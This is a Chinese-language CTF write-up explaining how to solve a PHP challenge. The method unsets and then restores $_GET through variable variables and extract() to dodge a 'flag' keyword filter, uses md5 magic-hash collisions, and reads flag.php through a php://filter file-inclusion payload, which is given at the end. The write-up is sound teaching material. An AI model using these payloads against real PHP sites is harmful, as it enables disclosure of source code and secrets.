unset_记一道CTF题
    
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | <?phphighlight_file('index.php');
 function waf($a){
 foreach($a as $key => $value){
 if(preg_match('/flag/i',$key)){
 exit('are you a hacker');
 }
 }
 }
 foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
 if($$__R) {
 foreach($$__R as $__k => $__v) {
 if(isset($$__k) && $$__k == $__v) unset($$__k);
 }
 }
 
 }
 if($_POST) { waf($_POST);}
 if($_GET) { waf($_GET); }
 if($_COOKIE) { waf($_COOKIE);}
 
 if($_POST) extract($_POST, EXTR_SKIP);
 if($_GET) extract($_GET, EXTR_SKIP);
 if(isset($_GET['flag'])){
 if($_GET['flag'] === $_GET['daiker']){
 exit('error');
 }
 if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
 include($_GET['file']);
 }
 }
 
 ?>
 
 | 
要得到flag,可以构造出2个0e开头的md5,文件包含flag.php,用php伪协议读取文件,这些没有难度,难点在于waf函数过滤了flag,无法直接get传入flag的值
关键的代码在这,存在漏洞,仔细分析一下
| 12
 3
 4
 5
 6
 7
 
 | foreach(array('_POST', '_GET', '_COOKIE') as $__R) {if($$__R) {
 foreach($$__R as $__k => $__v) {
 if(isset($$__k) && $$__k == $__v) unset($$__k);
 }
 }
 }
 
 | 
- foreach(array_expression as $value) statement
 第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)
- foreach(array_expression as $key => $value) statement
 第二种格式做同样的事,只是除了当前单元的值以外,键值也会在每次循环中被赋给变量 $key
第一层foreach里,$__R就是_POST, _GET, _COOKIE,加上一个$就变为$_POST, $_GET, $_COOKIE  
测试一下

当传入参数是数组时:

如果我们向index.php?x=123提交一个POST请求内容为_GET[x]=123
因为?x=123,所以$_GET内容为Array([x] => 123)
处理post数据时,$__k为_GET,$$__k就是$_GET,也就是Array([x] => 123)
$__v是post的数组,内容也是Array([x] => 123)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | <?phpforeach(array('_POST','_GET') as $__R){
 echo "\$\$__R<br>";
 print_r($$__R); echo "<br>";
 foreach($$__R as $__k => $__v) {
 echo "\$\$__k<br>";
 print_r($$__k); echo "<br>";
 echo "\$__v<br>";
 print_r($__v); echo "<br>";
 var_dump($$__k==$__v);echo "<br>";
 }
 }
 
 | 

测试一下,发现$$__k==$__v
所以unset($$__k)就把$_GET变量销毁了,$_GET变量没了waf函数自然也就能通过了
继续执行extract(),  从数组中将变量导入到当前的符号表
| 12
 
 | if($_POST) extract($_POST, EXTR_SKIP);if($_GET) extract($_GET, EXTR_SKIP);
 
 | 
执行这两句后$_GET变量又回来了
一开始没明白是怎么又把$_GET变量给还原的,本地测试了下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 
 | <?phpforeach(array('_POST', '_GET') as $__R) {
 if($$__R) {
 foreach($$__R as $__k => $__v) {
 if(isset($$__k) && $$__k == $__v) unset($$__k);
 }
 }
 
 }
 echo "before extract()<br>";
 echo "post:<br>";
 var_dump($_POST);echo "<br>";
 echo "get:<br>";
 var_dump($_GET);echo "<br>";
 
 if($_POST) extract($_POST, EXTR_SKIP);
 if($_GET) extract($_GET, EXTR_SKIP);
 
 echo "<br>";echo "<br>";
 echo "after extract()<br>";
 echo "get:<br>";
 var_dump($_GET);
 
 if(isset($_GET['x']))
 {
 echo "sss";
 }
 
 | 

可以看到执行extract()之前,$_POST数组的键名是_GET,$_GET数组则不存在
先导入$_POST数组,而$_POST数组的键名是_GET,所以也就是导入了名为_GET的变量,也就是$_GET变量,所以$_GET成功被还原
然后如此构造payload
| 12
 3
 4
 
 | ?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php
 POST:
 _GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php
 
 |